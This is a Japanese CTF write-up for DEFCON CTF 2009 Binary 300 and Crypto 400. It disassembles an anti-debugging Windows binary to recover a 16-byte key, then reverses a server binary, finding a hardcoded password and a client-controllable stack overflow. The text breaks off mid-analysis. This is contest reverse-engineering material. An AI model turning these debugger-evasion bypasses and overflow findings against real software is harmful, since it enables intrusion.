DEFCON CTF 2009 Binary 300

The answer is the 16 byte decryption key used in the file linked here.
Enter in the form: \xaa\xbb\xcc...
http://shallweplayaga.me/binary/4b2c8b145e30208d00d7ddebd7034560

リンクにあるファイルに使われている16バイトの復号鍵(\xaa\xbb\xcc...)を答えよ
という問題文と共にバイナリファイルが渡される

$ file 4b2c8b145e30208d00d7ddebd7034560
4b2c8b145e30208d00d7ddebd7034560: MS-DOS executable PE 
for MS Windows (GUI) Intel 80386 32-bit

PEフォーマット、つまりWindowsの実行ファイル
IDAPro、OllyDbg(WinDbg)を使って解析していく
まず普通に実行するとhelloworld.txtというファイルが作成される
ファイルの中身は"Hello world!"だけ
次にOllyDbg上で実行すると、例外で終了する(helloworld.txtは作成されない)
どうやらアンチデバッグ技術が使われている

.text:0040110A start proc near
.text:0040110A    push    ebp
.text:0040110B    mov     ebp, esp
.text:0040110D    sub     esp, 1Ch        ; dwExitCode
.text:00401110    mov     esi, 28F9h
.text:00401115    call    ds:GetCommandLineA
.text:0040111B    mov     esi, eax
.text:0040111D    sub     ebx, esi
.text:0040111F    add     eax, 54B5h
.text:00401125    lea     edi, byte_4146C9
.text:0040112B    xor     esi, 5317h
.text:00401131    mov     esi, offset sub_4010AC
.text:00401136    call    esi ; sub_4010AC
.text:00401138    call    ds:ExitThread
.text:0040113E    retn

ポイントはExitThreadの直前で呼ばれているsub_4010AC関数

.text:004010AC sub_4010AC proc near
.text:004010AC var_4 = dword ptr -4
.text:004010AC
.text:004010AC    lea     edx, [edx]
.text:004010AE    jmp     short loc_4010B2
.text:004010B0    db 75h, 0Fh
.text:004010B2 loc_4010B2:
.text:004010B2    mov     ecx, 30h
.text:004010B7    jmp     short loc_4010BB
.text:004010B9    jnz     short loc_4010C5
.text:004010BB loc_4010BB:
.text:004010BB    jmp     short loc_4010BF
.text:004010BD    jz      short loc_4010F1
.text:004010BF loc_4010BF:
.text:004010BF    mov     eax, fs:[ecx]
.text:004010C2    add     bh, 0
.text:004010C5 loc_4010C5:
.text:004010C5    mov     bl, al
.text:004010C7    mov     edx, 20h
.text:004010CC    jmp     short loc_4010D0
.text:004010CE    pop     es
.text:004010CF    sahf
.text:004010D0 loc_4010D0:
.text:004010D0    jmp     short loc_4010D4
.text:004010D2    dw 4375h
.text:004010D4 loc_4010D4:
.text:004010D4    add     eax, edx
.text:004010D6    add     bl, cl
.text:004010D8    jmp     short loc_4010DC
.text:004010DA    jnz     short start
.text:004010DC loc_4010DC:
.text:004010DC    push    offset loc_46367F
.text:004010E1    mov     edx, [esp+4+var_4]
.text:004010E4    add     esp, 4
.text:004010E7    jmp     short loc_4010EB
.text:004010E9    jnz     short loc_4010F1
.text:004010EB loc_4010EB:
.text:004010EB    jmp     short loc_4010EF
.text:004010ED    db 0D2h, 84h
.text:004010EF loc_4010EF:
.text:004010EF    mov     ecx, [eax]
.text:004010F1 loc_4010F1:
.text:004010F1    jmp     short loc_4010F4
.text:004010F3    push    edx
.text:004010F4 loc_4010F4:
.text:004010F4    add     bh, bl
.text:004010F6    mov     ds:4EFFEAh, ecx
.text:004010FC    not     ebx
.text:004010FE    mov     [eax], edx
.text:00401100    jmp     short loc_401104
.text:00401102    dw 0E74h
.text:00401104 loc_401104:
.text:00401104    add     bh, bl
.text:00401106    retn

良い感じに難読化されている
jmpを削って難読化を解くと以下になる

.text:004010AC sub_4010AC proc near
.text:004010AC var_4 = dword ptr -4
.text:004010AC
.text:004010AC    lea     edx, [edx]
.text:004010AE
.text:004010B0
.text:004010B2
.text:004010B2    mov     ecx, 30h
.text:004010B7
.text:004010B9
.text:004010BB
.text:004010BB
.text:004010BD
.text:004010BF
.text:004010BF    mov     eax, fs:[ecx]
.text:004010C2    add     bh, 0
.text:004010C5
.text:004010C5    mov     bl, al
.text:004010C7    mov     edx, 20h
.text:004010CC
.text:004010CE
.text:004010CF
.text:004010D0
.text:004010D0
.text:004010D2
.text:004010D4
.text:004010D4    add     eax, edx
.text:004010D6    add     bl, cl
.text:004010D8
.text:004010DA
.text:004010DC
.text:004010DC    push    offset loc_46367F
.text:004010E1    mov     edx, [esp+4+var_4]
.text:004010E4    add     esp, 4
.text:004010E7
.text:004010E9
.text:004010EB
.text:004010EB
.text:004010ED
.text:004010EF
.text:004010EF    mov     ecx, [eax]
.text:004010F1
.text:004010F1
.text:004010F3 
.text:004010F4
.text:004010F4    add     bh, bl
.text:004010F6    mov     ds:4EFFEAh, ecx
.text:004010FC    not     ebx
.text:004010FE    mov     [eax], edx
.text:00401100
.text:00401102
.text:00401104
.text:00401104    add     bh, bl
.text:00401106    retn

さらに読みやすく

.text:004010AC sub_4010AC proc near
.text:004010AC var_4 = dword ptr -4
.text:004010AC
.text:004010AC    lea     edx, [edx]
.text:004010B2    mov     ecx, 30h
.text:004010BF    mov     eax, fs:[ecx]      // eax = fs:[30]
.text:004010C2    add     bh, 0
.text:004010C5    mov     bl, al
.text:004010C7    mov     edx, 20h           // edx = 20h
.text:004010D4    add     eax, edx           // eax += edx(20h)
.text:004010D6    add     bl, cl
.text:004010DC    push    offset loc_46367F  // 
.text:004010E1    mov     edx, [esp+4+var_4] // 
.text:004010E4    add     esp, 4             // edx = loc_46367F
.text:004010EF    mov     ecx, [eax]         // ecx = [eax]
.text:004010F4    add     bh, bl
.text:004010F6    mov     ds:4EFFEAh, ecx    // ds:4EFFEAh = ecx
.text:004010FC    not     ebx                
.text:004010FE    mov     [eax], edx         // [eax] = edx
.text:00401104    add     bh, bl
.text:00401106    retn

途中にebx(bl, bh, etc...)を操作する命令が入っているが、
これらは無意味なコード(難読化の一種?)であるため無視する
結果的にsub_4010ACの処理は以下の2行のみとなる

ds:4EFFEAh = *(fs:[30] + 20h);
(fs:[30] + 20h) = loc_46367F;

つまりfs:[30] + 20hのバックアップをds:4EFFEAhに置き、
fs:[30] + 20hをloc_46367Fで上書きする
OllyDbgにて004010FEにブレイクポイントをセット → 実行
その時点でのレジストリは以下

EAX 7FFDF020 <-
ECX 7C941000 ntdll.RtlEnterCriticalSection
EDX 0046367F <-
EBX 800AFECF
ESP 0006FFA0
EBP 0006FFC0
ESI 004010AC 4b2c8b14.004010AC
EDI 004146C9 4b2c8b14.004146C9
EIP 004010FE 4b2c8b14.004010FE
C 1  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_FILE_NOT_FOUND (00000002)

eaxの指すアドレスを参照する

7FFDF020  00 10 94 7C E0 10 94 7C 01 00 00 00 70 29 CF 77
7FFDF030  00 00 00 00

00 10 94 7C、つまり7C941000となっている
これをedx、つまり0046367Fに変更する
となると問題は、変更前の値(7C941000)と変更後の値(0046367F)
これ以降、00401138でExitThreadが呼ばれることを考えると
これらの値はExitThread内部で使われると考えられる
ちなみに変更前の値(7C941000)は、RtlEnterCriticalSectionのアドレス
つまり、この変更により
ExitThread内部でRtlEnterCriticalSectionが呼ばれるはずのところで
変更後の値(0046367F)が呼ばれることになる

.text:0046367F loc_46367F:
.text:0046367F    add     bh, bl
.text:00463681    or      ecx, ecx
.text:00463683    stc
.text:00463684    pop     eax
.text:00463685
.text:00463685 loc_463685:
.text:00463685    xor     ebx, ebx
.text:00463687    inc     eax
.text:00463688    jmp     short loc_46368B
.text:00463688
.text:0046368A    db 1Dh
.text:0046368B
.text:0046368B loc_46368B:
.text:0046368B    mov     edx, [eax]
.text:0046368D    sub     al, 0
.text:0046368F    and     edx, 0FFFFh
.text:00463695    jmp     short loc_463699
.text:00463695
.text:00463697    db 60h
.text:00463698    db 72h
.text:00463699
.text:00463699 loc_463699:
.text:00463699    xor     edx, 337Fh
.text:0046369F    mov     al, al
.text:004636A1    xor     edx, 0E280h
.text:004636A7    jnz     short loc_463685
.text:004636A9    not     bh
.text:004636AB    sar     edi, 0
.text:004636AE    mov     ecx, offset unk_4636B8
.text:004636B3    call    eax

004636B3にブレイクポイントをセットしてeaxとecxを確認

EAX 7C95310C ntdll.7C95310C    <-
ECX 004636B8 4b2c8b14.004636B8 <-
EDX 00000000
EBX 0000FF00
ESP 0006FE1C
EBP 0006FE58
ESI 7FFDE000
EDI 00000000
EIP 7C95310C ntdll.7C95310C
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_FILE_NOT_FOUND (00000002

call eaxでジャンプする先の7C95310Cの命令は以下

7C95310C   ? FFD1    CALL ECX 

call ecxなので結果的に004636B8へ進む

.text:004636B8 loc_4636B8:
.text:004636B8    pop     ebp
.text:004636B9    mov     esp, esp
.text:004636BB    xchg    eax, ebx
.text:004636BC    xchg    eax, ebx
.text:004636BD    mov     eax, large fs:30h
.text:004636C3    add     eax, 20h
.text:004636C6    mov     ebx, ds:4EFFEAh
.text:004636CC    mov     [eax], ebx
###########################################################
################## *(fs:[30] + 20h) = ds:4EFFEAh
###########################################################
.text:004636CE    jmp     short loc_4636D2
.text:004636CE
.text:004636D0    db 74h, 32h
.text:004636D2
.text:004636D2 loc_4636D2:
.text:004636D2    push    4EFFCAh
.text:004636D7    mov     eax, eax
.text:004636D9    push    40h
.text:004636DE    lea     ecx, [ecx]
.text:004636E0    push    776h
.text:004636E5    not     bh
.text:004636E7    push    463631h
.text:004636EC    jmp     short loc_4636F0
.text:004636EC
.text:004636EE    dw 10EFh
.text:004636F0
.text:004636F0 loc_4636F0:
.text:004636F0    xor     eax, eax
.text:004636F2    mov     edx, offset VirtualProtect
.text:004636F7    add     eax, edx
.text:004636F9    add     ebx, ecx
.text:004636FB    call    dword ptr [eax]
###########################################################
################## VirtualProtect(463631h, 776h, 40h, 4EFFCAh)
###########################################################
.text:004636FD    mov     bl, al
.text:004636FF    mov     al, 6Dh
.text:00463701    mov     al, bl
.text:00463703    mov     edx, 125h
.text:00463708    jmp     short loc_46370B
.text:00463708
.text:0046370A    db 15h
.text:0046370B
.text:0046370B loc_46370B:
.text:0046370B    mov     ecx, ds:4EFFCAh
.text:00463711    mov     eax, 46372Ah
.text:00463716
.text:00463716 loc_463716:
.text:00463716    jmp     short loc_46371A
.text:00463716
.text:00463718    db 74h, 12h
.text:0046371A
.text:0046371A loc_46371A:
.text:0046371A    xor     [eax+edx], cl
.text:0046371D    not     cl
.text:0046371F    not     cl
.text:00463721    add     byte ptr [eax+edx], 97h
.text:00463725    sar     ebx, 77h
.text:00463728    dec     edx
.text:00463729
.text:00463729 loc_463729:
.text:00463729    jnz     short loc_463716
###########################################################
################## for(edx=125h; edx != 0; edx--){
##################     46372Ah[edx] ^= cl
##################     46372Ah[edx] += 97h
################## }
###########################################################
.text:0046372B    jz      short loc_463778

fs:[30] + 20hの値を元に戻し、VirtualProtectでメモリアクセス制限を解除
そして0046372B以降のコードを自己書き換え

0046372B     EB 02                  JMP SHORT 4b2c8b14.0046372F
0046372D     75 34                  JNZ SHORT 4b2c8b14.00463763
0046372F     09C0                   OR EAX,EAX
00463731     8D09                   LEA ECX,DWORD PTR DS:[ECX]
00463733     C1FF 00                SAR EDI,0
00463736     68 52374600            PUSH 4b2c8b14.00463752
0046373B     33C0                   XOR EAX,EAX
0046373D     64:FF30                PUSH DWORD PTR FS:[EAX]
00463740     64:8920                MOV DWORD PTR FS:[EAX],ESP
00463743     EB 01                  JMP SHORT 4b2c8b14.00463746
00463745     90                     NOP
00463746     FECB                   DEC BL
00463748     CD 2D                  INT 2D
0046374A     67:62FA                BOUND EDI,EDX
0046374D     B5 66                  MOV CH,66
0046374F     FA                     CLI
00463750     AB                     STOS DWORD PTR ES:[EDI]
00463751     90                     NOP
00463752     8AD8                   MOV BL,AL
00463754     8AC3                   MOV AL,BL
00463756     8B5424 04              MOV EDX,DWORD PTR SS:[ESP+4]

00463748にてint 2dアンチデバッグテクニックを使っている
int 2dアンチデバッグテクニックのフォーマットは以下

    push    offset _seh
    push    fs:[0]
    mov     fs:[0], esp
    int     2dh
    // debugger detected
_seh:
    // debugger not detected
  • デバッガを検知しなかった時に進むアドレスをスタックへ積む
  • fs:[0]の値をスタックへ積む
  • fs:[0]をesp(スタックトップ)に変更
  • int 2dh呼び出し

検知した場合はint 2dhのすぐ下の命令が実行され、
検知しなかった場合はスタックへ積んだアドレス以降が実行される
この問題の場合は、
デバッガを検知した場合は0046374AのBOUND EDI,EDXという命令が実行され
検知しなかった場合はスタックへ積まれている00463752以降が実行される

00463752     8AD8                   MOV BL,AL
00463754     8AC3                   MOV AL,BL
00463756     8B5424 04              MOV EDX,DWORD PTR SS:[ESP+4]
0046375A     EB 02                  JMP SHORT 4b2c8b14.0046375E
0046375C     90                     NOP
0046375D     90                     NOP
0046375E     8B12                   MOV EDX,DWORD PTR DS:[EDX]
00463760     C1E1 00                SHL ECX,0
00463763     F7D2                   NOT EDX
00463765     21C3                   AND EBX,EAX
00463767     C1EA 16                SHR EDX,16
0046376A     EB 02                  JMP SHORT 4b2c8b14.0046376E
0046376C     90                     NOP
0046376D     90                     NOP
0046376E     C1CA 16                ROR EDX,16
00463771     EB 02                  JMP SHORT 4b2c8b14.00463775
00463773     90                     NOP
00463774     90                     NOP
00463775     F7D2                   NOT EDX
00463777     FECB                   DEC BL
00463779     8BC4                   MOV EAX,ESP
0046377B     EB 02                  JMP SHORT 4b2c8b14.0046377F
0046377D     90                     NOP
0046377E     90                     NOP
0046377F     83C0 18                ADD EAX,18
00463782     BB 6534BEFF            MOV EBX,FFBE3465
00463787     33DA                   XOR EBX,EDX
00463789     8918                   MOV DWORD PTR DS:[EAX],EBX
0046378B     EB 02                  JMP SHORT 4b2c8b14.0046378F
0046378D     90                     NOP
0046378E     90                     NOP
0046378F     8AC0                   MOV AL,AL
00463791     CC                     INT3

今度はint 3hを使ったアンチデバッグ
無駄なコードを削除すると以下のようになる

00463752     8AD8                   MOV BL,AL
00463754     8AC3                   MOV AL,BL
00463756     8B5424 04              MOV EDX,DWORD PTR SS:[ESP+4]
0046375E     8B12                   MOV EDX,DWORD PTR DS:[EDX]
00463763     F7D2                   NOT EDX
00463767     C1EA 16                SHR EDX,16
0046376E     C1CA 16                ROR EDX,16
00463775     F7D2                   NOT EDX
00463779     8BC4                   MOV EAX,ESP
0046377F     83C0 18                ADD EAX,18
00463782     BB 6534BEFF            MOV EBX,FFBE3465
00463787     33DA                   XOR EBX,EDX
00463789     8918                   MOV DWORD PTR DS:[EAX],EBX
00463791     CC                     INT3

00463756に処理が来た時のスタックの状態は以下

0006FE14   0006FE48  Pointer to next SEH record
0006FE18   00463752  SE handler

アドレス00463752にある値は8AD88AC3であるため
edxには8AD88AC3が格納され、NOT、SHRRORなどが実行され、
アドレス00463789の時点でeax=esp+18h、ebx=00420F9Aとなる
つまり[esp+18h]に00420F9Aが格納される
int 3hは例外であるため、fs:[0](seh)に登録されたSE handlerが再び呼ばれる
fs:[0]に変更は無いため、再び00463752へ戻る
今度はスタックの状態が以下のようになっている

0006FA40   7C9432A8  RETURN to ntdll.7C9432A8
0006FA44   0006FB28
0006FA48   0006FE14
0006FA4C   0006FB48
0006FA50   0006FAFC
0006FA54   0006FE14  Pointer to next SEH record
0006FA58   7C9432BC  SE handler
0006FA5C   0006FE14

さらにfs:[0]は0006FA54になっている
つまりesp+18h(0006FA58)に00420F9Aを入れるとint 3h呼び出し時に
00420F9Aへ処理が飛ぶ
SEHに関する詳細はこちらが詳しい
http://programming.jugglershu.net/study/seh.html

0046379A     EB 02                  JMP SHORT 4b2c8b14.0046379E
0046379C     90                     NOP
0046379D     90                     NOP
0046379E     8BC4                   MOV EAX,ESP
004637A0     80F7 E0                XOR BH,0E0
004637A3     83C0 24                ADD EAX,24
004637A6     EB 02                  JMP SHORT 4b2c8b14.004637AA
004637A8     90                     NOP
004637A9     90                     NOP
004637AA     BB C9374600            MOV EBX,4b2c8b14.004637C9
004637AF     8918                   MOV DWORD PTR DS:[EAX],EBX
004637B1     03D8                   ADD EBX,EAX
004637B3     8B4424 0C              MOV EAX,DWORD PTR SS:[ESP+C]
004637B7     8990 B8000000          MOV DWORD PTR DS:[EAX+B8],EDX
004637BD     33C0                   XOR EAX,EAX
004637BF     C3                     RETN

0046379A以降にアンチデバッグ処理は無いため
この状態でF9(実行)するとデバッガ上でもhelloworld.txtが作成される
あとは単純にマシン語を解析していくだけだ
以降の解析は、int 2d以降の数バイトをNOPで埋めた状態で行う

00463748     CD 2D                  INT 2D
00463749     90                     NOP
0046374A     90                     NOP
0046374B     90                     NOP
0046374C     90                     NOP
0046374D     90                     NOP
0046374E     90                     NOP
0046374F     90                     NOP
00463750     90                     NOP
00463751     90                     NOP

いよいよ0046379A以降の解析であり、実際の問題文にある16バイトの鍵を探していく
0046379Aまで処理を進めてから、OllyDbgのメニューからView → Run Traceを選択
実行命令トレースウィンドウを表示
続いてOllyDbgのメニューからDebug → Trace intoを選択
これで0046379A以降の処理命令をすべてログとして保存する(数十分ほどかかる)
ファイルにも出力できるのでお好みでどうぞ
Traceしたデータをファイルへ出力すると500MB弱のテキストファイルが出来上がる

$ ls -l rtrace.txt
-rw-r--r-- 1 ubuntu ubuntu 486942599 2010-05-18 15:19 rtrace.txt
$ cat rtrace.txt | more
Address  Thread   Command                                   ; Registers and comments
0046379E Main     MOV EAX,ESP                               ; EAX=0006F66C
004637A0 Main     XOR BH,0E0                                ; EBX=0000E000
004637A3 Main     ADD EAX,24                                ; EAX=0006F690
004637A6 Main     JMP SHORT 4b2c8b14.004637AA
004637AA Main     MOV EBX,4b2c8b14.004637C9                 ; EBX=004637C9
004637AF Main     MOV DWORD PTR DS:[EAX],EBX
004637B1 Main     ADD EBX,EAX                               ; EBX=004D2E59
004637B3 Main     MOV EAX,DWORD PTR SS:[ESP+C]              ; EAX=0006F774
004637B7 Main     MOV DWORD PTR DS:[EAX+B8],EDX
004637BD Main     XOR EAX,EAX                               ; EAX=00000000
004637BF Main     RETN
7C9432A8 Main     MOV ESP,DWORD PTR FS:[0]
7C9432AF Main     POP DWORD PTR FS:[0]
7C9432B6 Main     MOV ESP,EBP
7C9432B8 Main     POP EBP                                   ; EBP=0006F73C
7C9432B9 Main     RETN 14
    Hardware breakpoint 3 at 4b2c8b14.004637C9
....

ログにはループ処理も回数分だけ含まれるため
実行したアドレス重複を排除する

$ cat del.rb
#/usr/local/bin/ruby
addrs = []
datas = []
fp = open("rtrace.txt")
while line = fp.gets
    flag = 1
    tmp = line.split(' ')[0]
    for n in 0 .. (addrs.length - 1)
        if(addrs[n] == tmp)
            flag = 0
            break
        end
    end
    if(flag == 1)
        addrs.push(line.split(' ')[0])
        datas.push(line)
    end
end
fp.close

print datas.join("\x0a")
$ ruby del.rb > data

この実行履歴の中から16(0x10)という値が使われている箇所を列挙する

$ strings data | grep ",10"
004A91D6 Main     ADD ESP,10
004A966F Main     MOV ECX,10                                ; ECX=00000010
004A959C Main     MOV EBX,1000                              ; EBX=00001000
ZwUnmapViewOfSect>MOV EAX,10B                               ; EAX=0000010B
7C94FBD7 Main     SHL EAX,10
009103E3 Main     CMP EAX,10
7C80E611 Main     TEST BYTE PTR DS:[EAX+9],10
7C954A5C Main     SHL EAX,10                                ; EAX=07D00000
7C955B46 Main     TEST BYTE PTR DS:[EAX+9],10
7C9556A8 Main     IMUL EDX,EDX,1003F
7C956778 Main     TEST BYTE PTR DS:[EAX+37],10
7C955F3F Main     TEST BYTE PTR DS:[ESI+37],10
7C952D2D Main     SHR ECX,10                                ; ECX=000007D0
7C9502E0 Main     CMP EDX,10000000
7C95034A Main     CMP CX,10B
7C8104A7 Main     MOV DWORD PTR DS:[EAX],10007
7C952D8D Main     SHL ECX,10                                ; ECX=000C0000
7C9411CE Main     OR DWORD PTR DS:[EAX+10],10

あとはこれらを順番にOllyDbgで確認する
最初の004A91D6はESPへの加算なのでおそらく関係ないだろう
次の004A966FはECXへの代入なので関係がありそうだ
004A966F辺りの命令は暗号化されており、
実行中に復号されるためソフトウェアブレイクだと上書きされる
よって004A966Fにハードウェアブレイクポイントをセットして実行する

(↓暗号化されているがハードウェアブレイクポイントをセット)
004A966F   F69E B5B4B345    NEG BYTE PTR DS:[ESI+45B3B4B5]
004A9675   FD               STD

004A966Fで処理が止まると以下のように復号されている

004A966F   B9 10000000      MOV ECX,10
004A9674   F3:A4            REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]

16バイトのデータをコピーしている
esiの指す値を参照する

EAX 003E0000
ECX 7C809B49 kernel32.7C809B49
EDX 7C94E4F4 ntdll.KiFastSystemCallRet
EBX 7C809B02 kernel32.VirtualAllocEx
ESP 0006F694
EBP 0006F69C
ESI 004A9658 4b2c8b14.004A9658 <- 
EDI 003E000C
EIP 004A966F 4b2c8b14.004A966F

004A9658のメモリ空間を見る

004A9658  87 D3 4E 03 34 EE 56 87 1E 4C 86 67 1B 05 23 15
004A9668  8B 7D FC 83 C7 0C 5E B9 10 00 00 00 F3 A4 6A 04

"87 D3 4E 03 34 EE 56 87 1E 4C 86 67 1B 05 23 15"となっている
問題文にパスワードは\xaa\xbb\xcc...と書かれてあるので
"\x87\xd3\x4e\x03\x34\xee\x56\x87\x1e\x4c\x86\x67\x1b\x05\x23\x15"が答え?
ということで解答フォームに入力してみると、無事正解となった
ちなみに実際に解答のデータ(鍵)を使用して復号しているのは009103E3辺りのコード
0046379A以降の処理を丁寧に読んでいくことで解答が得られる

DEFCON CTF 2009 Crypto 400

pwn11.ddtek.biz
http://shallweplayaga.me/crypto/eb24fae687eaa7d4441e727cf892beac

サーバ名(pwn11.ddtek.biz)と、バイナリが配布される
配布されるバイナリ(実行ファイル)が上記サーバで動いているので
実行ファイルを解析して上記サーバへ攻撃し、パスワードを得よ、という問題

$ file eb24fae687eaa7d4441e727cf892beac
eb24fae687eaa7d4441e727cf892beac: ELF 32-bit LSB executable, Intel 80386, 
version 1 (FreeBSD), for FreeBSD 7.2, dynamically linked (uses shared libs), 
FreeBSD-style, stripped

strippedされているが、コードがDEFCON CTF 2009 Pwtent 300と酷似しているため
サーバ処理部分は難なく理解できる
実行するとポート7852が開く
ncでアクセス

$ ./eb24fae687eaa7d4441e727cf892beac &
$ nc localhost 7852
Password: AAAA

何かの入力を得て終了する
パスワードが何かを調べるためIDAProで解析
まず文字列"Password:"の参照元を探す

.text:080497D0    mov     dword ptr [esp+4], offset aPassword ; "Password: "
.text:080497D8    mov     eax, [ebp+arg_0]

上記の部分からのみ参照されている
下へ降りていくと以下のコードが見つかる

.text:08049816    mov     dword ptr [esp+8], 0Eh
.text:0804981E    mov     dword ptr [esp+4], offset s2 ; "chickenfingers"
.text:08049826    lea     eax, [ebp+s1]
.text:08049829    mov     [esp], eax
.text:0804982C    call    _strncmp

"chickenfingers"がパスワード?

$ nc localhost 7852
Password: chickenfingers
What is your name? oops!

少し進んだ
次に"oops!"文字列の参照元を探る

.text:08049A53    mov     dword ptr [esp+4], offset aOops ; "oops!\n"
.text:08049A5B    mov     eax, [ebp+arg_0]

呼び出し元(ジャンプ元)を辿ると以下のコードが見つかる

.text:0804993B    mov     dword ptr [esp+4], offset modes ; "r"
.text:08049943    mov     dword ptr [esp], offset filename ; "plaintext"
.text:0804994A    call    _fopen
.text:0804994F    mov     [ebp+stream], eax
.text:08049952    cmp     [ebp+stream], 0
.text:08049956    jz      loc_8049A4B
.text:0804995C    mov     edx, [ebp+ptr]
.text:0804995F    mov     eax, [ebp+stream]
.text:08049962    mov     [esp+0Ch], eax
.text:08049966    mov     dword ptr [esp+8], 20h
.text:0804996E    mov     dword ptr [esp+4], 1
.text:08049976    mov     [esp], edx
.text:08049979    call    _fread
.text:0804997E    mov     edx, eax
.text:08049980    mov     eax, [ebp+ptr]
.text:08049983    mov     [eax+20h], edx
.text:08049986    mov     eax, [ebp+stream]
.text:08049989    mov     [esp], eax
.text:0804998C    call    _fclose

plaintextというファイルをfopenして、20hバイトfreadして、fcloseする
適当なplaintextファイルを用意して再度実行

$ cat plaintext
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH
$ ./eb24fae687eaa7d4441e727cf892beac &
$ nc localhost 7852
Password: chickenfingers
What is your name? test
Welcome test            ::
Your challenge is to decode the following hex encoded string:
a1dd32dc471d11d42a5f15d16e297ae7c4da2ed2723d770882edade473c8242a
Good luck!

いよいよ本題に突入
以下のhexデータをデコードしろ、と言われる
a1dd32dc471d11d42a5f15d16e297ae7c4da2ed2723d770882edade473c8242a
おそらく上記のhexデータをデコードするとplaintextファイル内のデータ
"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"が取得できると思われる
つまり最終的なパスワードは、pwn11.ddtek.bizサーバ上にあるplaintextの中身
エンコードアルゴリズムを解析し、デコーダを作成するのが今回の問題
080497C0以降の処理を解析し、エンコード処理をコード化する

.text:080497C0 sub_80497C0 proc near
.text:080497C0
.text:080497C0 var_3C = dword ptr -3Ch
.text:080497C0 s1     = byte ptr -37h
.text:080497C0 var_29 = byte ptr -29h
.text:080497C0 var_25 = byte ptr -25h
.text:080497C0 ptr    = dword ptr -24h
.text:080497C0 fd     = dword ptr -20h
.text:080497C0 var_1C = dword ptr -1Ch
.text:080497C0 stream = dword ptr -18h
.text:080497C0 var_14 = dword ptr -14h
.text:080497C0 var_10 = dword ptr -10h
.text:080497C0 var_C  = dword ptr -0Ch
.text:080497C0 arg_0  = dword ptr  8
.text:080497C0
.text:080497C0    push    ebp
.text:080497C1    mov     ebp, esp
.text:080497C3    push    esi
.text:080497C4    push    ebx
.text:080497C5    sub     esp, 50h
.text:080497C8    mov     dword ptr [esp+8], 0
.text:080497D0    mov     dword ptr [esp+4], offset aPassword ; "Password: "
.text:080497D8    mov     eax, [ebp+arg_0]
.text:080497DB    mov     [esp], eax
.text:080497DE    call    str_send
.text:080497E3    mov     dword ptr [esp+0Ch], 0Ah
.text:080497EB    mov     dword ptr [esp+8], 11h
.text:080497F3    lea     eax, [ebp+s1]
.text:080497F6    mov     [esp+4], eax
.text:080497FA    mov     eax, [ebp+arg_0]
.text:080497FD    mov     [esp], eax
.text:08049800    call    recv_data       ; recv_data(sock, s1, 0x11, 0x0a);

"Password: "という文字列をクライアントへ送信し、データをrecvする
recvするデータは0x11バイト or 0x0a(改行)が出現するまで
またrecvする際、格納先のs1(var_37)はオーバーフローしており、var_29を侵食する
0x37 - 0x11 = 0x26であり、var_29以降3バイト(var_29 var_28 var_27)を書き換える

.text:08049805    mov     [ebp+var_1C], eax
.text:08049808    cmp     [ebp+var_1C], 0
.text:0804980C    jle     short loc_804986A
.text:0804980E    mov     eax, [ebp+var_1C]
.text:08049811    mov     [ebp+eax+s1], 0
.text:08049816    mov     dword ptr [esp+8], 0Eh
.text:0804981E    mov     dword ptr [esp+4], offset s2 ; "chickenfingers"
.text:08049826    lea     eax, [ebp+s1]
.text:08049829    mov     [esp], eax
.text:0804982C    call    _strncmp        ; strncmp(s1, "chickenfingers", 0x0E);
.text:08049831    test    eax, eax
.text:08049833    jz      short loc_8049841
.text:08049835    mov     [ebp+var_3C], 0
.text:0804983C    jmp     loc_8049A78
.text:08049841

s1と"chickenfingers"との比較、正しくなければプログラム終了

.text:08049841 loc_8049841:
.text:08049841    movzx   eax, [ebp+var_29]
.text:08049845    and     eax, 1
.text:08049848    mov     [ebp+var_25], al
.text:0804984B    mov     dword ptr [esp+4], 0
.text:08049853    mov     dword ptr [esp], offset file ; "/dev/urandom"
.text:0804985A    call    _open
.text:0804985F    mov     [ebp+fd], eax
.text:08049862    cmp     [ebp+var_25], 0
.text:08049866    jnz     short loc_8049876
.text:08049868    jmp     short loc_80498D3

/dev/uramdomを開く
var_29の最下位ビットが1or0でvar_25の値が変わり、var_25の値によって処理が分岐
var_29の値はs1をオーバーフローさせることで任意の値にできるため
実質クライアント側で操作可能
最下位ビットが1ならmallocで4Chバイト確保、0なら3Chバイト確保
コードを読んでいくと分かるが、
これは1文字を2バイトとして扱うか? 1バイトとして扱うか? のフラグ

.text:0804986A
.text:0804986A loc_804986A:
.text:0804986A    mov     [ebp+var_3C], 0
.text:08049871    jmp     loc_8049A78
.text:08049876
.text:08049876 loc_8049876:
.text:08049876    mov     dword ptr [esp], 4Ch
.text:0804987D    call    _malloc         ; eax = malloc(0x4C);
.text:08049882    mov     [ebp+var_14], eax
.text:08049885    mov     eax, [ebp+var_14]
.text:08049888    add     eax, 44h
.text:0804988B    mov     dword ptr [esp+8], 5
.text:08049893    mov     [esp+4], eax
.text:08049897    mov     eax, [ebp+fd]
.text:0804989A    mov     [esp], eax
.text:0804989D    call    _read           ; memcpy(eax + 0x44, rand(), 5);
.text:080498A2    mov     eax, [ebp+var_14]
.text:080498A5    add     eax, 44h
.text:080498A8    mov     dword ptr [esp+4], 5
.text:080498B0    mov     [esp], eax
.text:080498B3    call    sub_8049350
.text:080498B8    mov     eax, [ebp+var_14]
.text:080498BB    mov     [ebp+ptr], eax
.text:080498BE    mov     dword ptr [esp+4], offset aWhatIsYourName ; "What is your name? "
.text:080498C6    mov     eax, [ebp+arg_0]
.text:080498C9    mov     [esp], eax
.text:080498CC    call    unicode_send
.text:080498D1    jmp     short loc_8049930

4Ch確保した場合、44h番目以降に5バイトの乱数を置く

.text:080498D3
.text:080498D3 loc_80498D3:
.text:080498D3    mov     dword ptr [esp], 3Ch
.text:080498DA    call    _malloc
.text:080498DF    mov     [ebp+ptr], eax
.text:080498E2    mov     eax, [ebp+ptr]
.text:080498E5    add     eax, 34h
